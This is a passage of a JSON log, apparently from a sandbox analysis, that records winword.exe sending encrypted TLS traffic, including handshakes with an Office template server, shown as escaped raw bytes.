  386. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf9\\x9bs\\x19\\x9bn\\xc2%\\xa4\\xd0w\\xe4\\xecua\\x18\\xe6\\xa0\\xc3\\xcf7\\xdaw\\x11\\xbf-\\xdd,\\xd6\\xe2\\xe8s\\x05`\\xf5\\x89\\xe0\\x97\\x0f\\x95fvhf^\\x11\\xd8\\xcds\\xc6\\xaa\\xc8\\x05\\xb8\\xb3\\xcfq\\xba\\x9ck\\x1e\\xe9\\x1a\\xd3\\x8a\\xf9\\xaf\\x91r\\xe2d\\xb6\\xa0\\xb8\\xb3\\x1a\\xf7j\\xa2\\xf0o\\x9ef\\xc7~\\x81\\xd2\\xf1\\xb22\\xa3\\xe3^\\x02s\\xc1\\x0b\\xeen\\xabj(;^\\x0b\\xa4\\x84\\xa0z\\x8b\\x13-\\xe1\\x997\\xc2\\xfd\\x9bkj\\x13l\\xff\\x15\\xde\\xa9vq\\x1c\\xac\\xe9y>\\xd2\\xc5`\n\\x85m\\xed\\xb4\\xe2\\xeb\\xe7\\xb9\\x96g\\xc2=\\xf0o\t\\x1a'\\xf6x\\x0c\\x14\\xea\\xb3\\x11\\x8c\\xf2\\x84aoa\\x93\\x12\\x96w\\xa2\\xa0\\xc9x\\xcf3\\x14\\xbb\\x1f\\x9e\\xfe\\xca:\\xf6\\xaf\\xa2q\\xfc\\x15\n+\\x87\\xae\\xf6\\x866\\xa5\\x12\\xd0\\xc3!?\\xec\\xc2\\x8cmy\\x94\\xdd\\x05\\x0bg\\x7f(\\x17-;\\xd8\\xb3\\x96+o\\xee\\xe7\\xd70v\\xac\\xc0'\\xe8\\x05\\xd6\\xa6\\x94y\\x16c\\x00\\xc62\\xe4\\xe7\\xe3q+\\xa68\\xd0u"
  387. },
  388. {
  389. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04s\\xa2\\xe1q?\\x86\\x9d\\xf5\\x9bx\\xd2u\\x98!xmb)\\xfer\\x1d\\xa4\\x12\\xe2\\xcc\\xaf\r)\\xf3\\xd3o\\x12\\x10s2uea\\x88b2l\\)=\\xab\\x97\\x98i\\x80{\\x94\\x82m\\x9d\\xfcy\\xc1\\xaa\\xae3\\x1fu,\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000d\\x1a\\x1az\\x02f/\"d/\\xb6\\xef\\xa7\\x05\\xc0\\x0c7\\xe9o\\x02\\xc1\\xb2w\\\\x0e/#\\xe7\\x02m\\x06lbw\\xde+\\xebo\\xa8\\xef\\x18\\xcb\\xa2\\xfc5\\x08\\xdd\\xcd"
  390. },
  391. {
  392. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf4\\xbc\\xbf\\\\xdcz\\x18\\x0e\\xaa\\xba\\x91p\\x82\\x93\\xf7q\\x8b\\xfb\\xc2p>\\x0f\\x1bi\\x9c\\xb7y+x5d\\x08b\\xb5\\x96\\xfc\\xe9m\\xf4p\\xa0r\\xa3\\xaa\\x17q\\xcax)\\x81!\\xba\\x18\\xdc\\xa9\\xbe$~\\xf0\\x81d2\\xd8\\xe6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\]\\xc31[\\x7f\\xe4\\xbbo\\xa8h\\xc5\\xcc\\x18\\x94\\xdf\r\\xd6}\\xa1+dn8u\\xb6:\\xf3\\xb2~_<\\x17\\xbc\\x9e\\xb9 \\x16-\\x98\\xf0lkzn\\x90\\xe3\\xe4"
  393. },
  394. {
  395. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04:\\\\xa9\\xef\\xbc\\xa2)w\\xecv\\x0e}\\x8a\\xcarz)\\x84\\xf7\\|l\\x86n\\xde\\x0e\\xd1*mz\\xa8\n\\x96\\x05\\xb0\\xdd}\"\\x977c\\xa3\\x01\\xc8\\x92\r\\xba\\xe0\\x9d\\x1e\\xe6\\xaf>\\xc4\\xbc\\xdec\\xc7]\\xd9~\\xe5r\\xa3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000h\\xf0}\\xc4[\\x16\\x173y\\xa1\\xe1\\x94\r\\x07;\\x94\\x0b\\x9e\\xa5dr\\x06nf\\x8b\\xcawz\\xfe@\t\\xea\\xe1\\x1d-'\\x93\\xfa\\x9d8q\t\\x87\\xe5\\x99u\\xc9\\xd5"
  396. },
  397. {
  398. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010(\\x9c,\\xf5jg\\x1a`>\\x8fw\\x91\\x8ab\\xcd\\x08#\\x91\\xa9s\\xea\\x02j\\xfd\\x9d\\x91\\xb0>x\\x9e]i\\xb4d\\xc7pjl\\x17}\\xbf\\xf4\\x1aed\\xd8\\xf3\\xf1\\xac\\xc7= {\\x8e\\xd3\\xd3\\xc4}\\x81\\x14!8\\x04\\x95\\xabk\\xde\\x87b-\\x18pj\\xe8\\xe5\\xdc\\x7f\\x86\\xb8\\xca\\x95l\\xa9\\xfd~\\xb2l\\x1c\\xb84\\xfba\\xbdz\\xfe\\xfb\\xe8w\\x96\\xd8\\x0c$\\x7fl\\x86&\\xf5\\xc0\\\\xa1\\xd1\\xbf\\x1e\\x11\\x99\\xd7\\xd5d\\xd3f\\x0f\\xf0\\xd3usf\\xdb\\xc9\\x1d\\xb6\\xfb:\\xc9\\x9fj\\xe5e'z\\xaf\\xc5\\xeb\\xc7\\xc5\\xdd!\\xa8\\xf2\\x17\\xeb\\xe5\\xdc\\xd5\\xaf2v\"\\xac\\x9bk\\x9d\\xef4^}\\xcc!\\xb4i\\xb3\\x9fd\\xa4\\x1a\\x15\\xe4=\\xa8b\\xf2\\x80\\xff\\xaf\\xf0\\xdc\\xeb\\xd8\\xb5\\x92w\\x97\\x86m\\xbf\\xe5\\xad\\xab\\x16?\\xf0\\xff\\x8e\\x08\\x07\\xe9\\xce\\xf9\\xf1\\x03\\xcb?\\x85\\xf4\\xc5\\xf9\\xe8\\xd9@z\\xcd\\xc9\\xd0\\x88\\xa1\\xa8\\xfe|9\\xde((\"\\xd0\\x10&.s'\\xc7;\\xc1\\xcf\\x07\\xc11\\xe4\\xa3\\xb4#\\x95]"
  399. },
  400. {
  401. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01&\\xd7\\x9e\\xb0\\xc0\\xab\\xaf\\xe2\\xf3\\xdc\\xf6\\x00s\\x1fuw\\x87\\x89\\xc2\\xe5\\xc1\\x91g\\x15o\\xac\\xe0\\x98\\xa1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  402. },
  403. {
  404. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd5@\\xc4\\x17\\xf1\\xe7 \\xdb\\xb9|\\xdbc\\xc4\\x0e}\\xbdjp\\xb8\\x00?l\\xe1v\\x11\\xaff\\xcafd\\xf5\\x18\\x84\\xa2$8\\x1c\\xd7\\xc7\\x1agxzq\\xe3\\xf8z\\xbf_\\xfb\ny\\x15\\xb6\\x01\\x8ct`c\\xc1\\xa0h\\xd2\\x90\\xec*p\\x07\\xfao\\xce\\xd2!\\xc0\\xe5\\x97n\\xdb\\xaf\\xe6\\xf9\\xb5\\xdak6jy\\xb5\\xf1\r;\\xf2\\xc6^\\xf1\\xce\\xc0\\xb1\\x99\\x03\\xb2\\x08\\xc8\\x03e\\xe2a\\xca\\x1d\\xb4\\x1fd[\\xbd]\\xd8_\\x87\\xf7$\\xd8\\x8f\\xff\\x96\\x1fm\\xc5f\\xd9n\\xc4\\xba\\xf6\\xfc\\x85-79o\\x9d\\x7f\\x16\\xf7q\\xa8t\\\\xc0\\xc3'\\xd8w\\xe4\\xb5\\xf4\\xf7f{>\\xa5\\xc3\\x0b>3l\\xc2\\xe7b\\xf7?vk\\x8a(\\xe8\\xd7\\x8b\\xe9\\xbc\\x06j\\x8a\\xab\\x8fl\\xfeb\\xb2\\xbf\\xf8\\xd2\\xc8\\xb3yfz}o\\xe5\\x96\\x11\\xf3\\xfe\\x17<\\x00\\xf2\\xf6\\xd3g\\x00\\xcb?\\xb0~\\xac\\xc7\\xd1\\xb4\\xbc\\xaa\\x8c\\x1e+i\\xae\\x9c\\xe3\\xd6`sq\\xf60\\x17\\xf0c7\\x0bf.i\\xab\\x02\\x95\\xfe`\\x95\\x17y\\x8b"
  405. },
  406. {
  407. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010e\\x8c\\x84m\\xf0\\x07mc\\xa9\\xd36\\x1ag\\x9bz\\x07px\\x19\\xd5r\\x02\\xec>\\x9f\\xd3\\xa8\\x8b\\xf4\\x1c\\x18l\\x04\\x8a\\x1d:;\\xf1\\x1av\\xd2d \\xed\\xad\\x97\\xc6\\x9ax\\x15\\x8e\\xa5o\tv+\\x88m\\xf9nc\\xf1\\xd5i\\x8d-\\xb6 \\xbbe\\xc8\\xcdp\\xe4s\\xc7\\xbb\\xb5\\xb9\\xde\\xcep\\xde\\xdb\\x9d\\xfc\\xb5\\xe6\\xe7\\xd8io\\xc1_\\x05\\x89\\xbb\\xf4\\x19\\xf0\\xbf\\xf7\\xfa\n\\x8f\\xfe\\x90\\x97\\xeb\\x88-e\\x91n\\xef\\xc4\\x8e\\x1c\\x8b0\\xee\\xaf\\x7f\\x06x\\x1a\\xca\\xe9\\x8em\\x96\\x8e/t\\xd1\\x162\\x02\\x96\\xddfli\\x82|8%3\\x10y\\xa5t1\\x85i\\xda\\x80!\\xe7\\xbf\\xe4q\\xbdw\t1\\xb5\\xb1\\xbb8\\xfb\\xee5\\xab\\xa0\\xa9\\xe6\\x84\\x89rk\\xa7\\xe5\\xd2\\xc7\\xbd=\\xac\\xd2[\\x98(\\xfd\\xfe\\x04\\xcbf\\xe3\\x05g\\x16_\\xfd\\xafkz\\xfe\\xfa\\x11\\xb0\\xe9\\xbb\\x98\\x9a\\xa2\\xa7i\\xae\\xce6lc\\x82\\x94\\x87\\xae\\xd7n!o\\x10t\\xe1\\xa0:\\x91n_\\xc0\\xe4\\xe4\\x9b\\xa4<\\xe4\\x82i\\xcf@\\xbc\\xdc"
  408. },
  409. {
  410. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfek6\\xf1\\xb0\\xff\\xa0+\\xed\\xdc\\xdc\\x93\\xe4{\\x03p\\xa8\\xda\\xca\\x19em\\x1c\\xbew\\xa2\\x9c\\xf3\\xebas\n:\\xfa\\x84\\xbe\r\\xd0\\x88\\xa0\\xb0o\\xea\\x1a\\xe0\\xcai\\xb2a\\xbf\\xcf~\\xb8\\x87okg\\xbd}\\x13\\xd9d\\xe7\\x8c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xef\\xd4\\x0f\\xd7\\x03\\xff\\xc71\\x83\\x92\\x15\\x88j\\xf9\\xd9~\\x87\\xdem\\xe9y*'\\xb2`sw\\x8e\\xb7\\xc3`:\\xce\\xf2\\xa8\\xfc1\\xd3\\x03a\\x19d\\x1c\\x98\\xe8\\xf6\\xbd>"
  411. },
  412. {
  413. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01&\\xed\\*\\x1d\\xa7-\\xea*\\x13!\\x87\\xb3\\xc0\\xc72/y\\xfa\\xb9\\x9c\\xcc\\xadt^w\\x9e[\\x9b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  414. },
  415. {
  416. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9b\\xbdp\n\\xaf\\x17z\\xf5l\\xbd\\xfe{bj\\xa6i\\x07\\x8d\\xbe\\x96+\\xba\\x90\r\\x91\\x06[\\xd3k\\x833z\\xbb\\xe2\\xda9\\xe2ob\\x83m\\xc1\\xcb\\x86\\xed\\x83\\xacq\\xad\\x96\\xa63\\x16@\\x1cg\\x8d\\x03\\x8bhw\\x1b\\xbd\\xcabc\\x1a\\xc8\\x9eho\\x07r|\\xd3g\\xaa3u\\xdbuf636\\xa1\\x9e\\xean\\xea\\xde\\x88~\\x0e\\x10\\xcb(hh\\xcd\\x90\\xaf\"rv\\xb5(l\\x1c\\x15\\x8fwg*\\xcc\\xbal\\x14\\xc8>\\xa7\\xd7\\x11o\\xd7%\\$\\xd9%\"`6{\\x98\\xd6\\x94y\\x93o~#\\x7f\\xae7\\xa4q\\xfd\\xda\\xc9\\xd9l|\\xd6\\x1dbr\\xf7\\xec\\x1eu\\x1d\\xc5\\xcb\\xbe\\xb8o\\x91\\x02\\xb4\\x9c6\\xe1\\xf6\\xeb#\\xc7\\xa1\\xe4\\x10\\xcf\\xf6\\x87d\\x8a\\xd5b\\xca\\xccq-h\\xe2\\x9c\\xaai\\xf2j\\xbb\\x81n\\xa5\\xe5\\xae\\xd35\\x11\\xa4\\xe5\\xf7x\\xbee\\x0e\ri\\x97\\x1e>\\xff\\xc6\\x11\\xf8\\x9a\\x0c9\\xb49g\\x98e\\x84\\xcc\\xc0a\\x17&\\xc0\\xdc\\x04\\xbc\\xc7\\x19\\=\\xb5}\\xcdi\\x8a\\xcf"
  417. },
  418. {
  419. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\r+\\xfd\\xe0d:a\\x08\\x14\\xa9\\x1d:\\x92p\\xabd\\xa5\\xcb\\x9e\\xac\\xf8\\xef]b~\\x05\\xf1\\xa3^\\xa41\\x12\\xbf\\xc2\\xfa=s2\\x0f\\xe9/\\xa0\\x84)t\\xb5\\xd2hw\\xef,\\xdfx\\xf7\\x19e\\xd4\\xfb\\xe5\\xff\t\\xff\\xec\\xa6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa8k=\\x99\\xd3\\xb3\\xb6\\xd8\\xda\\xf6\\x8d\\xfe\\xd9\\xde\\x9e\\x14\\x9d\\x87\\x8d\\xa2i\\xce#\\x96\\x94\\x879p\\x91\\xaa\\xe3\\xa4\\xc0\\xf3\\xc7\\xd4h\\xb0\\x9e\\x9d\\xe6\\xd6\\xeb\\xd6s\\x9ar\\x1d"
  420. },
  421. {
  422. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04r\\xc7p\\x05\\x04\\x98\\xd8i\\xe6y9\\xfe\\xfb\\xc2*\\x11\\x1a-\\xd45\\xcf\\xa7x\\xa9\\xfd&\\xe4\\xd1s\\x1e}yg\\x00\\xaf;\\xdac\\x81\\x8d\\xec\\xb1\\xf5\\xef\\x17\\xd8\\xde\\xb7[\\x03r\\xa4n\\xb8\\xfd\\x7f\\xad\\xa4c\\xbe\\xd8|}{\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1071;\\x1e\\x12\\x8b\\x1bu}vg\\xed\\xe2\\xb5v\\xea{\"\\xa6b\\x937\\xdc\\x81%\\xd8\\x98p\\xcf\\xaa\\xd8zi\\xc9r\\xbe\\xa6\\x08\\xe9\\x92\\x93m\\x1c<1\\xf7!"
  423. },
  424. {
  425. "http_request": "winword.exe_WSASend_\\xe2\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\"\\xf5\\x11)\\xd4\\xb6_r\\xbc\\xaba+\\xb9>|42p\\x01\\x11\\x03\\xa4n\\xb4\\xab`\"\\xf8\\x0c\\xc9\\xbbf5\\x0f\\x84*$\\xabv{b\\xd2j(\\xc76(~\\x1f$h\\x10\\xb9\\x8a\\x9c\\xd4\\xc2\\xf3\\x9e\\xce\\xd2\\xee\\xf1\\xdb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc0\\xb3\\xd5ew\\xfc1\\x92\\x12\\xf3\\x9a\\x96s\\x0b\\x17;i\\xb8\\xf1\\x8d*\\x90b\\xe7i\\x8b\\xf9=\"f:t\\xf9/'8\\xdeqy\\xedu{e`\\xeasb\\x19"
  426. },
  427. {
  428. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x046\\x05krk\\x02\\x17fyy\\xd6hd\\x15\\x97\\x98s\\xbc\\xa2s\\xd9\\xc1\\x07\\xfc\\xdd(\\xf5=\\xda\\xfe\\xfc}<_\\x95\\x98\\xa6\\xef\\xf6\\xe3b\\x04\\xaa\\xe7\\x0e\\xe0iz\\xe7\\xfe\t\\x04\\\\xa0\\xa4\\x0bu\\x019\\xd7q\\xcb\\x04\\xc0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3\\xe57\\x13jgt\\xd5<\\x87\\h\\x8d\\xf4=a\\x00s)n\\xb2\\x82s\\x1e\\x7fd\\x85\\xdb\\x97vx\\xb7\\x06ey\\x06\\xc2\\xc6\\x7f\\xee\\xedv\\x04ac\\xa1\\xeee"
  429. },
  430. {
  431. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x83q\\x12\\xb8m\\xc8(\\xcf\\xfdr\rgh\\x94\\xc3r\\xa7?\\x81*\\xc1r\\x91\\x8a\\xde\\x1ay\\xb3t\\x19w!{\\xbd\\xe4\\xbd\\xaa\\x18\\x86\\xf3$\\x054[\\xfe1tu\\xb9\\xfb\\xf2\\x16\\xf7p\\xf1\\xc1\\xa0|\\xe2\\xa0@\\xab\\xa0\\xbb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000k2\\xd8\"/\\x06\\xaai\\xc3\\xe4\\x9c\\x9eyj\\xbbl\\x97\\xcc`\\x0e\\x7fd\\xc4?>\\xf7\\xd6\\xdfe\\x87]\\xdab\\x7f\\x13p<\t8\\x8b\\xd4\\x1d\\xc9jl\\x1c\\xe2\\x19"
  432. },
  433. {
  434. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0c&b\\xaab\\x96\\xe6%\\x87?l\\xe8\\xce\\xf1\\xb1\\xd2|\\xbe\\xe28\\x15g\\xf7j6\\xc2\\xe5\\x089\\xb8d]`ba\\x0b\\xc78\\xben\\xb8!\\xad\\x90\\xc5\\x00\\x153[\\x02\\x03\\xe8\\xbb\\x08\\x897\\x9fg\\x9d\\xc9\\xf5m|\\xe1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0003\\xa0\\xa0e\\xd1\r\\x0f36\\x9c\\xdfs\\xfc\\xa4\\xf9\\xb6`\\xa2\\x80<\\x95\\xd3n6/\\xcb\\xde\\xddz\\xc4\\xde\\x9do\\x0e\\xbdi\\x81\\xff#?\\xe7\\x97\\xeb\\xcb\\xaf\\x0f\\xca\\xb2"
  435. },
  436. {
  437. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd0\\xc7\\x9ai\\xf716\\xdf\\xd3\\x16|obp\\x1c\\xbb\\xaf\\xdf\\xd0\\xffg\\x06\\x04l\\x1f??`j\\xe8]\\xbda\\xc1\\xc3\\xad\\x06i\\xc7\\xb9\\x92\\x18\\x16h\\xbf\\xe1\\xdci\\x80\\xb5\\xd2\\x92\\xb5\\xf7|mma\\x1a0=\\xa6\\xd4\\x02\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa2\\x94\\x9b]\\x16_\\xba\r\\xa851\\x9e\\x06\\xbf\\xcc\\x82\\x19\\xaec\\xf5s\\x9b\\xb6\\xaa\\x8ei\\x94\n\\xce\\xee%\\xe0s\\xa9c7;<\\xfa27\t?\\xb8b\\xeba\\xeb"
  438. },
  439. {
  440. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xec\\xdd|\\xa9\\x84\\x10y\\x1a\\x0ej\\x8a\\xbe\\xfb,\\x0ew\\xf9m\\x05\\xdb\\x1a\t\\xc85\\xef\\xa7pb\\xd32*v\\xb1\\xc4j`'\\xb5='}\\x83\\xad$<\\xb9n\\xf1e\\x07\\xc9\\xc1\\xc0_r\\\\xe0\\x00d\\x12\\x98shb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000l9\\x04\\xfds-\\x9c0\t\\xc6\\x11q\\x907\\x97\\x9fw>\\xda\\x1f\\x0b\\xf2zu\\x86\\x1dcl\\xab\\xc2\\xb1\\xd2\\xd6{\\x0er\\xe56\\xd7\\x01\\xbd\\x8c\\xc2\\xe5\\xb4\\xb4\\xa2\\x14"
  441. },
  442. {
  443. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa3\\xf3\\x85\\xa8@\\xfe}\\x1b\\xf5\\xba\\xd3c\\x10$\\xdfj]\\xbb\\x96\\xcf\\x13\\x88f\\x95\\xc7u*s\\xe4u\\x85\\x7f\\x8e\\xb0?[\\xd5+e\\xd5\\x8f6\\xdfq\\xde\\x04\\x13\\xf9\\x7f\\x0f\\xf8]\\xdb\\x9b\\xd8,\\xd8x\\xbc$y\\xc8t\\xc3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x87\\x04\\xb1v\\xec0\\x95`y:\"a\\xf2\\xfa\\xe7\\x16\\x19r\\xc3\\xbc\\xa7\\x1c\\xc3z\\x8c\\xd5\\xaea.\\xec\\xac\\xa1\\x13\\xb9\\x86-q\\xf4\\x1f\\x8fc'\\xcc\\xac3\\x88\\xf71"
  444. },
  445. {
  446. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04l\\xbb\\xbb\\xf7\\x92\\xff3\\xd8!\\x0b4\\x87f\\xc2@\r\\x14\\xf1\\x98\\x97\\xe0\\xd5\\xb1h\\xf1\\xaf\\xbc\\xc5y\\x0b:\\xe5y\\x812\\xc2\\xa8\r\\xfc&&\\xdf\\xb5\\x0bs\\x87\\xb9c#\\xe8\\xf3}\\xae\\xac\\x94y\\xbc_\n\\xa2\\xe7\\xa8}_\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000no\\\\xbe\\xe0\\x959l\\xe3\\xb2\\xe6\\x19zthu\\xf2r_ea\\x98\\xa9\\x01\\xa1\\x93d5\\xe4's#{\\x13\\xe5=,pyq\\x89\\x1b\\xe9\\xea\\xc57\\xa2\\xe5"
  447. },
  448. {
  449. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x06\n\\x9d\n\\xf5 e\\xfb\\x1bpw;\\xa7\\xe3\\x92\\xa0\\xe9\\xd0\\x0b&dm9\\x82c\\xda\\xde{\\xaf1&\\xe3\\x83q\\\\xe5\\xb5\\xc3~:\\x0f\\x14*\\xe8!\\xa4\\xfc\\x9c\\x82on\\xfcm\\xca\\xc4\\x93\\xff!!\\x96\\x07:\\x008\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf9\\xe4\\xffon\\x92\\x85n\\x00\\xa5\\x92\\x08\\xf6\\x8b\\x8c\\x89e\\x0f\\xa4\\xea\\x13\\x8b\\xd7\\\\x93\\x84\\xd1\"z\\x96@\\xa8\\xeew\\xc2\\xb6k\\x0e\\x1b{\\x9e\\xb9\\xcf\\xff\\x1d>s\\x92"
  450. },
  451. {
  452. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb9\\xa6\\x0f\\xd43l\\xe5d]w\\xcf\\xec\\xc2\\x9e\\xc6\\xe8\\x9b\\x0b\\xa76\\x9ad\\xe4c:\\x1e\\x15\\xd3.\\xa3,w\\xee\\x0f@\\x06\\xe7\\x19\\x16\\xd1\\xc8~\\xb9\\x94\\xc0 \\\\xe1>\\x10gc\\x0e\\xd0\\x16%m\\x81\\xc1\\x1c\\xae\\xbd\r\\x8f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z\\x16\\xe0\\xcd\\x01\\xbf\\xe46\\xe5\\x81\\x8ek\\xbc~\\xee9\\xa5\\x9e\\x8b\\x93n6s\\x00\\xb7d\\x16\\x01\\x9f7=\\xc40\\xb4\\xd7\\x91f{\\xc7\\xdc\\xa3/\\x8aw6t+\\xd4"
  453. },
  454. {
  455. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x03\\x01:\\x92r\\xfb\\x032\\xd32/\\x03b\\xc3\\x89\\xf4\\xd5\\xe6\\xc7u\\xd1x\\xe0\\xf2b\\xbf\\\\xcb\\x9eoh\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  456. },
  457. {
  458. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xde\\x88\\xad\\x0e\\x92\\xdfai\\x91\\x12\\xb7\\xbe\\x97\\x98-[\\xd2\\x0b\\x89\\xcdw\\xe7\\xc0)\\xfb\\xcd\\xc8~\\\\xe1pu\\x81\\xd3\\x9c\\x19[\\xc4\\xbcgc++\\xf6\\xca\\x84\\xcd\\xfa\\xc0\\xcd\\xcdx\\xb8.\\xb6\\x07\\xe7^sx\\xd9=\\x9b\\x07\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000(y\\x8c\\x08\\xa0\\xd3\\x82\\xb7\\xeec\\xc22\\xc9j\\xb7\\xde\\xadp\\xa5\\xd2\\xd6x\\xfa\\xd1\\x7f\\x03%;\\x87\\x9a=\\x83\\x14\\xd9d\\xb7\\xf19\\xcb1\\x02:\\xfe\\xc8\\x01\\x19\\xb7\\x0c"
  459. },
  460. {
  461. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc6\\xba\\xea\\xbe\\xb3\\xf7\n\\x18]\\xc6\\xeb\\x9ca\\x9b\\xa9y g73%\\xf7\\x0e\\xe9<\\x81t\\xa8\\x0e\\x1fj\\xbe\\xf9\\xbd\\xa2\\x83j\\x1c~$\\x8a\\x07\\x8c\\xcdr\\xde\\xed\\xc6\\xb6\\xb7xda^\\xd8y\\xd1\\xc8\\xa1\\xac\\xfe\\xdf\\xd9\\xfa\\x98\\x13\\xdd b\\xd7\\xcf\\x99\\x10\\xc4.-\\xb0\\xaes\\x1fo\\xcd\\x82\\x00n\\x8ax]aw\\xfc\\x9c\\xf8\\x11qm\\xd4\\xf5\\x7f\\xf3\\xee\\x02\\xc1\\x82@\\xbc=\\x9et\\xe2\\x92\\x16\\xa5k\\xce\\x89\\xcf\\x08\\x91,;\\xcb\\xdfz\\x82\\xf9\\xa4\\xfe \\xf8b\\xb2\\xa0ru\\xe9\\xa6`d*\t{w\\x18\\x14\\xb6\\x99\\x91\\xe56\\x82\\xe2.\\xff\\xd42\\xa6\\xf0\\xb5)i\\xcf\\xb7\\x1e\\x1a|\\xd2\\x91\t>\\xb2\\x9e&5jh\\xdf\\x8f/\\xaa\\x17\\xc4\\x87\"g0.\\xde\\xb42\\xc8eo>z\\x9f\\xd3\\xba-\\x12\\x01\\x13\\x9c.\\x99\r\\xde8\\xd4%\\xb6\\x12\\xc65\\xc4\\x84\\xe0\\xe3\\xb01\\xdd\\xf0\\xa9\\x8e\\xad}h\\xf3cg\\xa5{\\xb1\\x93\\xb3\\x82v\\xa3\\x1b\\x9c'u\\xe7g\\xden\\xfc\\x93cx\\xeb"
  462. },
  463. {
  464. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010a\\xaa\\xa5\\xeab\\x83a\\x8brk.ud\\xb9\\xfa\\xd5w\\xd84yt\\xaf\\xff?\\xbd\\xaa\\x97:\\x95ks\\xae\\x10&o,\\xa8a\\x9e#ps\\x90\\xad 